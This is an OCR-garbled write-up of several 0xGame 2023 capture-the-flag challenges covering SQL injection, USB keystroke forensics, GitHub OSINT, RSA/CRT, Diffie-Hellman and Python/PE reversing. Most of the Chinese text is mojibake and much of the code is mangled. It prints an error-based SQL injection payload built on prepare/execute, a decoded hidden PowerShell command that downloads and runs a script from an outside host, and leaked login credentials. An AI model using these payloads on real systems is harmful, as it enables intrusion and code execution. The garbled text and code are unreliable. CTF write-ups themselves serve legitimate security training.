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Hint 1: Docker #i&%: mysql:5.7
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Password
guest.bob@exp10it.cn
useralice@exp10it.cn

admin.marry@exp10it.cn

Hint 2: ¥Z3FE AN (cursor. execute() FEMEHITE % SQL iEH))

Hint 3: Jf#i7]: set prepare execute

Hint 4: flag {V&: select flag from flag

Hint 5: IEAEMF sqlmap S EEME LH A HER

Hint 6: 25K set WEH—FE HAZERNHIITHE SOL 154 A5 HF prepare + execute AT iZ
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Hint 7: https://xz.aliyun. com/t/10594

Hint 8: EZEAMNERALE R RFEZREEN/FAEE

EEHXMHINEZLHB(CENRT, BEAnoobRERL TRIKFEKNEEEHARE. . .

blacklist = [
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RezBISQLEN-HERARoobAS)—, MEPESL L aghMUBELNIERAERERIARES, B
AIEIREENGEEE. TSNS EHsqiENES:

set @a=select updatexml(l,concat(0x7e, (select flag from flag),0x7e),1);

prepare hello from @a;
execute hello;
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MySQLdb.OperationalError: (1105, "XPATH syntax error: '~@xGame{4286b62d-c37e-4018-badc-"")

File "

3.9/sit

py", line 1478,in __call__
return self.usgi_app(environ, start_response)

File " 3.9/sit py", line 1458, in wsgi_app
response = self.handle_exception(e)
File " 13.9/sit

py', line 1455, in wsgi_app
response = self.full_dispatch_request()

File " 13.9/sit py", line 869, in full_dispatch_request
rv = self.handle_user_exception(e)
File "

/st

py", line 867, in full_dispatch_request
rv = self.dispatch_request()

File "

/st

py", line 852, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File "/app/app.py", line 25, in index

res = cursor.fetchall()

File "

3.9/sit QLdb/cursors.py”, line 113, in _exit__
self.close()
File " 3.9/sit QLdb/cursors.py”, line 103, in close
self._discard()
File " 13.9sit QLdb/eursors.py”, line 96, in _discard
con.discard_result()

MySQLdb.OperationalError: (1105, "XPATH syntax error: '~0xGame{4286b62d-c37e-4010-badc-")

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

To switch between the interactive traceback and the plaintext one, you can click on the "Traceback" headline. From the text traceback you can also create a paste of it. For code execution mouse-over the frame
you want to debug and click on the console icon on the right side.

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

ARMEBATF M FRAHERS, XEHIRAEEIENlag, FTEEFEAMIJ)REFSEMNERINHEEIIF
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select updatexml(l,concat(0x7e,mid((select flag from flag),32,31),0x7e),1);
prepare hello from @a;
execute hello;
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OperationalError

Ouanigs bnss
~
MysQLdb.OperationalError: (1185, "XPATH syntax error: '~35d47641fb91}~'")

Traceback (most re

nt call |

File " 3.9/sit

py', line 1478,in _call__
return self.usgi_app(environ, start_response)
File "

13.9/site

py", line 1458, inwsgi_app
response =

self.handle_exception(e)

File " 13.9/si

py", line 1455, in wsgi_app

response = self.full_dispatch_request()

File "/

/st

py", line 869, in full_dispatch_request
rv = self.handle_user_exception(e)
File " 3.9/sit

py", line 867, in full_dispatch_request
self.dispatch_request()

v o=
File " 3.9/sit py", line 852, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**vieu_args)

File /applapp.py", line 25, in index

res = cursor.fetchall()

File " 13.9/sit QLdblcursors.py”, line 113,in _exit__
self.close()

File " 3.9sit QLdb/eursors.py”, line 103, in close
self._discard()

File

9isit QLdb/cursors.py”, line 96, in _discard
con.discard_result()

MySQLdb.OperationalError: (1105, "XPATH syntax error: '~35d47641fb91}~")

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

To switch between the interactive traceback and the plaintext one, you can click on the "Traceback" headline. From the text traceback you can also create a paste of it. For code execution mouse-over the frame
you want to debug and click on the console icon on the right side.

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

Misc
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notverybadusb

TR B RwiresharkEE, BAIR2usbiiEDHTRE,

M notverybadusb pcapng 7 - X
XHHF)  RIEE) BV BEEG) KO A FIHS) BEY) TEW) TEM  EBEH)
Am4® R Re=>2=7 8= QQa|i
(W[Em &z cirl )+
Yo. Time Source Destination Protocol Length Info [ s
- 1 0.000000 host 2.4.0 USB 36 GET DESCRIPTOR Request DEVICE
2 0.000000 2.4.0 host UsB 46 GET DESCRIPTOR Response DEVICE
3 0.000000 host 2.4.0 UsB 36 GET DESCRIPTOR Request CONFIGURATION
4 0.000000 2.4.0 host UsB 112 GET DESCRIPTOR Response CONFIGURATION
5 0.000000 host 2.4.0 UsB 36 SET CONFIGURATION Request
6 0.000000 2.4.0 host UsB 28 SET CONFIGURATION Response
7 ©0.000000 host 2.2.0 UsB 36 GET DESCRIPTOR Request DEVICE
8 0.000000 2.2.0 host UsB 46 GET DESCRIPTOR Response DEVICE
9 0.000000 host 2.2.0 UsB 36 GET DESCRIPTOR Request CONFIGURATION
10 0.000000 2.2.0 host usB 735 GET DESCRIPTOR Response CONFIGURATION !
11 0.000000 host 2.2.0 UsB 36 SET CONFIGURATION Request
12 0.000000 2.2.0 host UsB 28 SET CONFIGURATION Response
13 0.000000 host 2.3.0 usB 36 GET DESCRIPTOR Request DEVICE
14 0.000000 2.3.0 host UsB 46 GET DESCRIPTOR Response DEVICE
15 0.000000 host 2.3.0 UsB 36 GET DESCRIPTOR Request CONFIGURATION
16 0.000000 2.3.0 host UsB 228 GET DESCRIPTOR Response CONFIGURATION
17 0.000000 host 2.3.0 UsB 36 SET CONFIGURATION Request
18 0.000000 2.3.0 host UsB 28 SET CONFIGURATION Response
< A0 2 011004 A A~ Lo+ ien AT LIDD TATEADLINT 2 N v
Frame 1: 36 bytes on wire (288 bits), 36 bytes captured (288 bits) on interface \\.\USBPcap2, id @ |
USB URB |
Setup Data |
@ 7 notverybadusb. peapng || #4: 3012 - B 3012 100.0% || EE: Default

RIEHINtXGsourcei# g, FH St Atest.pcap

Hint 1: usbifiZ? (ERLIFAERPAR—FE, 2RI BIFALIEE
Hint 2: 2.8.4

Hint 3: 02XXXXXXXXXXXXXXXX — XXXXXEXXXXXXXXXX

M notverybadusb.pcapng - X
XH(F) RIEE) PEV) BHEG) ERO) DA FIHS) RBIEY) R&W) TEM  HiH)
QL4 Rex2= ¢ & = QQax
(W Tusb. sre="2.8.4" HNES -]+
Yo. Time Source Destination Protocol Length Info A
73 6.589774 2.8.4 host UsB 36 URB_INTERRUPT in
75 6.590767 2.8.4 host usB 36 URB_INTERRUPT in
77 6.591758 2.8.4 host UsB 36 URB_INTERRUPT in
85 7.089844 2.8.4 host UsB 36 URB_INTERRUPT in
87 7.090735 2.8.4 host UsB 36 URB_INTERRUPT in
89 7.091734 2.8.4 host UsB 36 URB_INTERRUPT in
91 7.092731 2.8.4 host usB 36 URB_INTERRUPT in
93 7.093729 2.8.4 host UsB 36 URB_INTERRUPT in
95 7.094730 2.8.4 host UsB 36 URB_INTERRUPT in
97 7.095730 2.8.4 host UsB 36 URB_INTERRUPT in |
99 7.096729 2.8.4 host UsB 36 URB_INTERRUPT in
101 8.093929 2.8.4 host UsB 36 URB_INTERRUPT in
103 8.094877 2.8.4 host usB 36 URB_INTERRUPT in
105 8.095845 2.8.4 host UsB 36 URB_INTERRUPT in
107 8.096847 2.8.4 host UsB 36 URB_INTERRUPT in
109 8.097842 2.8.4 host UsB 36 URB_INTERRUPT in
111 8.098842 2.8.4 host UsB 36 URB_INTERRUPT in
113 8.099944 2.8.4 host UsB 36 URB_INTERRUPT in
< a4ar o annTan A o [y ien A LIAD TATEARLINT S o N E
Frame 73: 36 bytes on wire (288 bits), 36 bytes captured (288 bits) on interface \\.\USBPcap2, id @ |

USB URB {
HID Data: 020800000000000000 |

Bz tsvonae

@ 7 notverybadusb. peapng || 4: 3012 -+ E&F: 257 6.5%) || ®®: Default
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{EtsharkiZE Htest.pcapAIFFEHID Data

| 7 */rootfusbdata.txt - Mousepad

NHF(F) fmIB(E) {EZE((S) ME(Y) (D) FEBH(H)

B ROGERE x O O aQ &« n

SBIEERERA root 1P, BRIESRETENREA,
1 920800000000000000
2 020800150000000000
3 020000000000000000
4 820000060000000000
5 220000000000000000
6 020000100000000000
7 B20000000000000000
8 020000070000000000
0 020000000000000000
10 @20000280000000000
11 e20000000000000000
12 920000130000000000
13 820000000000000000
14 920000120000000000
15 920000000000000000
16 2200001a@000000000
17 e20000000000000000
18 @20000080000000000
19 820000000000000000
20 020000150000000000
21 020000000000000000

RIERTEMARRETLN02, FEEFMEES

f=open('usbdata.txt','r")
fi=open('out.txt','w")
while 1:
a=f.readline().stripQ)
a=a[2:18]
if a:
if len(a)==16:
out=""
for i in range(0,len(a),2):
if 142 != len(a):
out+=al[i]+a[i+1]+":"
else:
out+=al[i]+al[i+1]
fi.write(out)
fi.write('\n")
else:
break
fi.close()



| usbdatal - iIEEX
AP REE) ER0) ERY) BEH)
bBQOQOQOQOﬂOﬂOﬂO
08:00:15:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:06:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:10:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:07:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:28:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:13:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:12:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1a:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:15:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:16:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0b:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0f:00:00:00:00:00
00:00:00:00:00:00:00:00

AN.ANALAA.AN.ANAN.AR

RRRNERILRERURAVREERE

normalkeys = {"04": "a",
"0a": "g", "Ob": "h", "Oc":
"od": "j",

"13": "p", "14": "q", "15":
"16": "s",
"1d": "z", "le":
"1 T2
"26": "9", "27":

lllcll: y ,

||25||: ll8|l’

ll05ll:

"Oe"

||17|| .

"0"

<SPACE>", "

||<GA>|| ,

<F4>",

<F11>", "45

shiftKeys =

"0a": "G",
"13":
"1c":
Yasvg WEw,

<SPACE>", "
<GA>", "36"
n3an

<F4>",

<F11>", "45
output = []

"3a:

"28": "<RET>”, "29":

2d": n_n, "2e": n=n’ uzfu: nrEn
n30": n]n’ "31": u\\u’ u32n
“36": n’n’ n37n: u.n "38": n u’

"39": "<cap>", "3a":
"<F5>", "3f": "<F6>",
"40": "<F7>", "41":

" "<F12>"}

"<F8>",

{"04": "aA", "05": "B", "06":
"0b": "H", "Oc": "I",

"od": "3", "0e": "K", "Of":
"14": "qQ", "15": "R",

TiEYe fgY, Wigvs T, “MABYe
"1d": "z", "le": "I",

"1ft: @, "20": "#",
Yaete MMy v27vs )Y,

"28": "<RET>", "29":
2d": "M, M2eMr M4, M2ft v {M

"30": MPUM, U31tcoot|t, 32

Il21|l :

g MYy W37Ys sV, MaEMs %Y
"39": "<cAp>", "3a": "<FI>",
1 U<F5>", "3fUr "<F6>",
"40": "<F7>", "41": "<F8",

" "<F12>"}

"<ESC>", "2a":

#1147, 131

||07n:

"10":

||19||:

nom.

: "<NON>",

II<F1>II , "3b" .

||42n . II<F9>II ,

||$|| ,

"<ESC>", "2a":

"<NON>",

"3b" . II<F2>II ,

42"

7"

||10n .

v|19u .

||22n:

"<F9>",

"<DEL>",

"<F2>",

"<DEL>",

n33n:

100%  Windows (CRLF)

UTF-8

lldll’ "08": e , |l09||: ll_Fll’
"m", nllu: unu’ ||12||: n0n,
"V", lllall: llwll’ Illbll: an’

"33": ll;ll’

ll3cll:

ll43ll:

"V", lllall :

n%n, ll23ll:
llzbll
n\nu’

||3C||:

43"

nygn.

llzbll:

"<F10>",

"\t", "2

|l34ll: |||v|’

cn .

v|35n:

II<F3>I|’ "3d": "n

|I<F10>ll, l|44": 1]

nEM, Q9"

"N, 12
"w", "1b":
AT, M24M:
;M\t
"34m: v,

"<F3>",

"2C": 1]

||35n:

||3dn: 1]

n44t s



keys = open('usbdatal.txt"')
for 1ine in keys:
try:
if Tine[0]!="0" or (1line[1]!='0" and 1ine[1]!="'2") or 1ine[3]!="'0" or
1ine[4]!="0" or 1ine[9]!='0" or Tine[10]!='0" or Tine[12]!='0" or Tine[13]!='0"
or 1ine[15]!="'0" or 1ine[16]!='0" or 1ine[18]!='0" or 1ine[19]!='0" or
Tine[21]!="0" or 1ine[22]!="0" or 1ine[6:8]=="00":
continue
if Tine[6:8] in normalKeys.keys():
output += [[normalkeys[1ine[6:8]]], [shiftkeys[1ine[6:8]]]1]
[Tine[1]=="2"]
else:
output += ['[unknown]']
except:
pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>")
del output[al
del outputl[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper(Q

except:
pass
print ('output :' + "".join(output))

cmd<RET>powershell<SPACE>-windowstyle<SPACE>hidden<SPACE>IEX<SPACE>(New-Object<SPACE>Net .WebClient).DownloadString( 'http"//zysgmzb.club
/hello/notveryevil.psl");<RET>

output :cmd<RET>powershell<SPACE>-windowstyle<SPACE>hidden<SPACE>IEX<SPACE>(New-Object<SPACE>Net.WebClient).DownloadString( http"//zysg
mzb.club/hello/notveryevil.psl');<RET>

MERFRIURLTEASEI T — P powershel AR

notveryevil

B1T/E TEIEE evil. exe«— B RIRE? 77 LIHTALTEM -
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i]] HashMyFiles — O X
File Edit View Options Help

S0@EQHE e YA

Filename -~ MD5 SHA1

L StarRail_setup_gw_2... ece22dea2b0c6c73857164344ad94b4a 5ac15e75f391e2acBa16b162a837fbb

< >
1 file(s)

findme-2

EUARBENXER
[Week 2] findme—2  Hint

AW F K WearyMeadow!T i 0xGame2023 7745 1. Mzysgmzbilb 4T T — T/ HIpy i
A3 TR ARREER, RENTS [ Miscilrfwp R B ZE, A 7Pk Lk
FtE o AR A, it thub R SRS AM 7, XIRRZZ4 T

flag{_ *]

Solves: 24


af://n43

Hint 1: github B IFr]LEFIF T HFMZEUNAE?

RIERBXE T Github £, AFFE#EIWearyMeadow

= Q WearyMeadow

+- (0)n o 4

Q Type 7] to search >
[0 overview Bl Repositories 2 [ Projects @ Packages 7 Stars
Popular repositories
wearymeadow.github.io Public AutologinBot Public
Forked from ritvikkhanna09/AutoLoginBot
myblog
self-use
OHML T¥2 ¥ @ Python
8 contributions in the last year
Oct Nov Dec Jan Feb Mar Apr May Jun Jul Aug Sep Oct

Mon L}

WearyMeadow Wed [ ]
a
Fri
Follow

Learn how we count contributions Less @@ @ More
Hello
A1 follower - 0 following Contribution activity
& wearymeadow.github.io October 2023
Block or Report

G Created 2 commits in 1 repository x
WearyMeadow/wearymeadow.github.io 2 commits O
[ Created 1 repository +
% WearyMeadow/AutoLoginBot @ Python Oct4

RiERR R AIIE A autologinbotB3&IEXIER

This branch is 3 commits ahead of ritvikkhanna09:master.

EREHPE—FHNET — P EBARRIET AT

Showing 1 changed file with 3 additions and 3 deletions.

v ¢ mmmm
*
9 9
10 10
1 1
12 -
12 4+
13 13
14 -
1 4
15 15
16 -
6+
17 17
18 18
19 19

script.py (0

@@ -9,11 +9,11 @@

#enter the link to the website you want to automate login.
website link=""

website_link="ys.mihoyo.com"
#enter your login username
username=""
username="WearyMeadou"
#enter your login password

password

password="tearyMeadowssecretp@ss”

IRIES —%KrepositorykE|WearyMeadowHJhexo blogFHENZ BRI
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C: > Users > jyzho > Desktop server.py >
1

import pyzipper
import base64
import

setzip():

zipfile yzipper.AESZipFile('8848.zip" compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES)
password = "v /_long_password_which_cannot_be_cracked_easily and_will_never_be_known_to_anyone"
zipfile.setpassword(password.encode())

zipfile.write('flag.txt', 'flag.txt')

zipfile.close()

return

trydecode (password) :
with pyzipper.AESZipFile('8848.zip', 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as extracted_zip:
try:
extracted_zi tractall(pwd=password)
print("Suc )
print("The flag : ",end="")
with open('flag.txt', 'r') as f:
print(f.read())
except:
print("Wrong password!")
exit()

checker(text):

if(len(text) > 3@):
print('Too long!')
exit()

main():
setzip()
password = input(“"Please input the base64-encoded password to decompress the 8848.zip: ")
checker(password)
try:
password = base64.b64decode (password)
except:
print('invalid base64 string!')
exit()
trydecode(password)

== '__main__':

FHERERR, KELeannotbe-—cracket—easiy-and-wil-neverbeknown-to—anyone)}HIEMS, RIF
HINtFF4AXE, XTI TSHAINE, BEMAGEELRAASCIFR FiHiThaseb44R7m3.

very_very_very_very_long_password_which_cannot_be_cracked_easily_and_will_never_be_known_to_anyone

N PSS
481d393bea2692b07dbd4633cafaea0352d266d8

import base64
passwordl=bytes.fromhex("481d393bea2692b07dbd4633cafaea0352d266d8")
passwordl=base64.b64encode(passwordl)

print(passwordl)

-

ncigzzi5flag

EENFYER

—INEERE
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root@kalis ~
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B a1 23 4|5 R I

Xt WfE WiE EE B

"the quie

Crypto
What's CRT

BRBARNME RN ERIREE, AnoobiIFRETRA, EHRA......
CRT, SPERIREE

AHE

from Crypto.Util.number import *
from secert import flag

m = bytes_to_long(flag)

e = 260792700

q,p,d_,p_ = [getPrime(512) for _ in range(4)]
gift = [q+p,q_+p_]

n,n_ = q*p,q_*p_

mg_ = pow(m,4,q_)

mp_ = pow(m,4,p_)

c = pow(m,e,n)

print(f'mygift={giftI\nmg_={mg_}\nmp_={mp_}\nn={n}\nn_={n_}\nc={c}")

mygift=
[1592541664090170856179329399157347491759564280573982559659333910241432821431343
0010166125066639132916608736569443045051644173933089503934675628814467277922,
18342424676996843423829480445042578097182127446865571536445030052846412665700132
683433441858073625594933132038175200824257774638419166516796318527302903098]
mg_=6229615098788722664392369146712291169948485951371133086154028832805750551655
072946170332335458186479565263371985534601035559229403357396564568667218817197
mp_=7514598449361191486799480225087938913945061715845128006069296876457814528347
371315493644046029376830166983645570092100320566196227210502897068206073043718


af://n73
af://n74

n=633290684732060680671478440028443487965758996243958673919648054518971104489839
10133293450006821779608031734813916287079551030950968978400757306879502402868643
71659162445474433431687924157339999302687359847853246762430196843971486026226444
9471888606538913071413634346381428901358109273203087030763779091664797
n_=84078907800136966150486965612788894868587998005459927216462899940718213455112
13944185865786521521184318378043615547443159254046518996664856576422521009119021
89764172102915212087162067332707436755348208166853704801701202303347669191103119
80614082807421812749491464201740954627794429460268010183163151688591417
€=126237800023842190227726931007879253159814886891724908374136861884162559112130
44332780064192900824150269364486747430892667624289724721692959334462348218416297
30930439163591911570169231453211105095512084412651739204088040404981802605995132
6039894605004852370344012563287210613795011783419126458214779488303552

BEPBRH=EL, RAFZER, —AFAAR, B TE AR — A ABINZZEE
RIS, HMEE P ERIREEIIATORE

from Crypto.Util.number import *

import gmpy2 as gm

mygift=
[1592541664090170856179329399157347491759564280573982559659333910241432821431343
0010166125066639132916608736569443045051644173933089503934675628814467277922,
18342424676996843423829480445042578097182127446865571536445030052846412665700132
683433441858073625594933132038175200824257774638419166516796318527302903098]
mg_=6229615098788722664392369146712291169948485951371133086154028832805750551655
072946170332335458186479565263371985534601035559229403357396564568667218817197
mp_=7514598449361191486799480225087938913945061715845128006069296876457814528347
371315493644046029376830166983645570092100320566196227210502897068206073043718
n=633290684732060680671478440028443487965758996243958673919648054518971104489839
10133293450006821779608031734813916287079551030950968978400757306879502402868643
71659162445474433431687924157339999302687359847853246762430196843971486026226444
9471888606538913071413634346381428901358109273203087030763779091664797
n_=84078907800136966150486965612788894868587998005459927216462899940718213455112
13944185865786521521184318378043615547443159254046518996664856576422521009119021
89764172102915212087162067332707436755348208166853704801701202303347669191103119
80614082807421812749491464201740954627794429460268010183163151688591417
c=126237800023842190227726931007879253159814886891724908374136861884162559112130
44332780064192900824150269364486747430892667624289724721692959334462348218416297
30930439163591911570169231453211105095512084412651739204088040404981802605995132
6039894605004852370344012563287210613795011783419126458214779488303552

e = 260792700

a=gm.iroot(mygift[1]*mygift[1]-n_*4,2)

print(a)#& 5 I FaRE

q_=
(3590429372023507800144604781919632224515506111426560710024009085148649039027304
73301805295576878241416321995859794443992752199649757216623187835531447544+mygif
t[11)//2

p_=
(mygift[1]-359042937202350780014460478191963222451550611142656071002400908514864
90390273047330180529557687824141632199585979444399275219964975721662318783553144
7544)//2

a=gm.iroot(mygift[0]*mygift[0]-n*4,2)

print(Q)#& 5 I Fah{E

q=
(5501102557531411821083624649742517335798231781374719094389604195955088283619239
35361618073374312187419425346768732376306006768288617849978712278144615836+mygif
t[01)//2



p:
(mygift[0]-550110255753141182108362464974251733579823178137471909438960419595508
82836192393536161807337431218741942534676873237630600676828861784997871227814461
5836)//2

tm=gm.invert(e//4, (p-1)*(g-1))

mp=pow(c, tm,p)

mg=pow(c,tm,q)

M=q_*p_*n

M1,M2,M3,M4=M//q_,M//p_,M//p,M//q

tl=gm.invert(M1,q_)

t2=gm.invert(M2,p_)

t3=gm.invert(M3,p)

t4=gm.invert(M4,q)

x=(mg_*t1*M1+mp_*t2*M2+mp*t3*M3+mq*t4d*M4) %M

m=gm.iroot(x,4)

print(m)#& %5 - F3) il {E
m=404417766109752775060304108371211847467061640504259463265972631250536682994669
236200614913389949

print(m)

flag=long_to_bytes(m)

print(flag)

5&lflag

b’ @xGame{7881ed67088e9f72b860F8c376599785} "
FRERIATA

AEELEAREDF RER—ER T

A H

from secret import flag

from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256

from random import *

p = getPrime(128)
g=2

A = getrandbits(32)
B = getrandbits(32)

Alice = pow(g,A,p)

Bob = pow(g,B,p)

key = pow(Alice,B,p)

key = sha256(long_to_bytes(key)) .digest()
iv = b"0OxGameOxGameGAME"

aes = AES.new(key, AES.MODE_CBC, 1iv)

enc = aes.encrypt(flag)
print(f'g={g}\np={p}') #we tell
print(f'Bob={Bob}") #Bob tell
print(f'Alice={Alice}') #Alice tell

print(f'enc={enc}')#Here is they secret
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g=2

p=250858685680234165065801734515633434653
Bob=33067794433420687511728239091450927373
Alice=235866450680721760403251513646370485539
enc=b"'s\x04\xbc\x8bT6\x846\xd9\xd6\x83
y\xaah\xde@\xc9\x17\xdc\x04v\x18\xef\xcf\xef\xc5\xfd|\x0e\xca\n\xbd#\x94{\x8e[.\
xe8\xelGU\xfa?\xda\x1lw'

DHEjZ%, AIFIAFEIAKGE. RigHInt, BEERIECKEB, BIRED X lag,

from Crypto.Util.number import *

from Crypto.Cipher import AES

from hashlib import sha256

import gmpy2 as gm

from sympy.ntheory import discrete_log

g=2

p=250858685680234165065801734515633434653
Bob=33067794433420687511728239091450927373
Alice=235866450680721760403251513646370485539
enc=b"'s\x04\xbc\x8bT6\x846\xd9\xd6\x83
y\xaah\xde@\xc9\x17\xdc\x04v\x18\xef\xcf\xef\xc5\xfd|\x0e\xca\n\xbd#\x94{\x8e[.\
xe8\xelGU\xfa?\xda\x1lw'
B=discrete_log(p,Bob,qg)

key = pow(Alice,B,p)

key sha256(Tong_to_bytes(key)) .digest()

iv = b"0xGameOxGameGAME"

aes = AES.new(key, AES.MODE_CBC, iv)

flag = aes.decrypt(enc)

flag=flag.decode()

print(flag)

@xGame{51393felfd5fc2dflbfel8deefefalld}

Reverse

R
i Bt

FBIDA $JFFRIAI ERIARL :
push offset aDeadclde ; "deadceéde”

BITIEFFHBIA
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WFEIRE
TEABR—.pycSt, FIFELRRFETIERRFHSEIEIRD
pythonTE

HEEpy R TR, STEEFTEPYthonifiA
B, | AR

#1/usr/bin/env python "
# visit https://tool.lu/pyc/ for more infermation
# Version: Python 3.11
import binascii
def ():
flag =
binascii.unhexlify(hex(0x307847616D657B63646539646331372D356133312D356330612D646633342D36633735623736343663
34627DL)[2:].encode())
user_input = input('iFiA—RAEMET: 1)
if not len(user_input) != 13 or user_input.isdigit():
print (' EAmA . Bt EFE. )
return None
if None == '1145141919818":
print(f''' EHINIENM: {flag}''")
return None
None (' FLEIELFHER! ")
if __name__ == '__main__°'
main()
return None v

HIFES=RIET

import binascii

main():
flag = binascii.unhexlify(hex(©x307847616D657B63646539646331372D356133312D356330612D646633342D3663373562373634366334627D)[2:
print(flag)

if __name__ == '__main__ ':

main()

%0 v A X

Windows PowerShell {8 Python Deb...
JRBUFTAE (C) Microsoft Corporation. {7 ¥ T4 #LF. 1&¢ Python Deb...

& PowerShell https://aka.ms/pscores
PS C:\Users\jyzho\Desktop\#4#f%\Python> &

b*@xGame{cde9dc17-5a31-5c0a-df34-6c75b7646c4b}’
PS C:\Users\jyzho\Desktop\#f% \Python>
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: iy
ﬁglﬁﬂbuiﬁ
BT
BEIASIE:  MHhHYW1le2ZiYmVIZWM3LTc3ANTgtYmEyZi1jMDUSLTJmNWNhOWEzODc5YX0=

FAIDAFTH, fEstring viewrRiREIZNE

&1 . rdata:00-- 00000041
B .rdata:00--+ 0000003
51 .rdata: 00+ 00000006
5. rdata: 00 0000003F

ABCDEFGHI JKLMNOPQRSTUVWXYZabcdefghi jklmnoparstuvwsyz0123456789+/
MHhHYW11e2Z jYmV1ZWM3LTe3NTet YmEyZ11 jMDUSLT JmNWNhOWEZz0De 5YX0—
pause

s+ DIVCTF\N2023\\0xGame \ \Week2 \\FHHAEAENT \Re lease \\ FHHEAENT. pdb

STELH Thase64fi#ty, 15%flag

[aNe] O [

1 MHhHYW1le2Z jYmV1ZWM3LTc3NTgtYmEyZil jMDUSLT JuNWNhOWEZODc5YX0= 1 OxGame {fcbeeec7-7758-ba2f-c059-2f5ca9a3879a}
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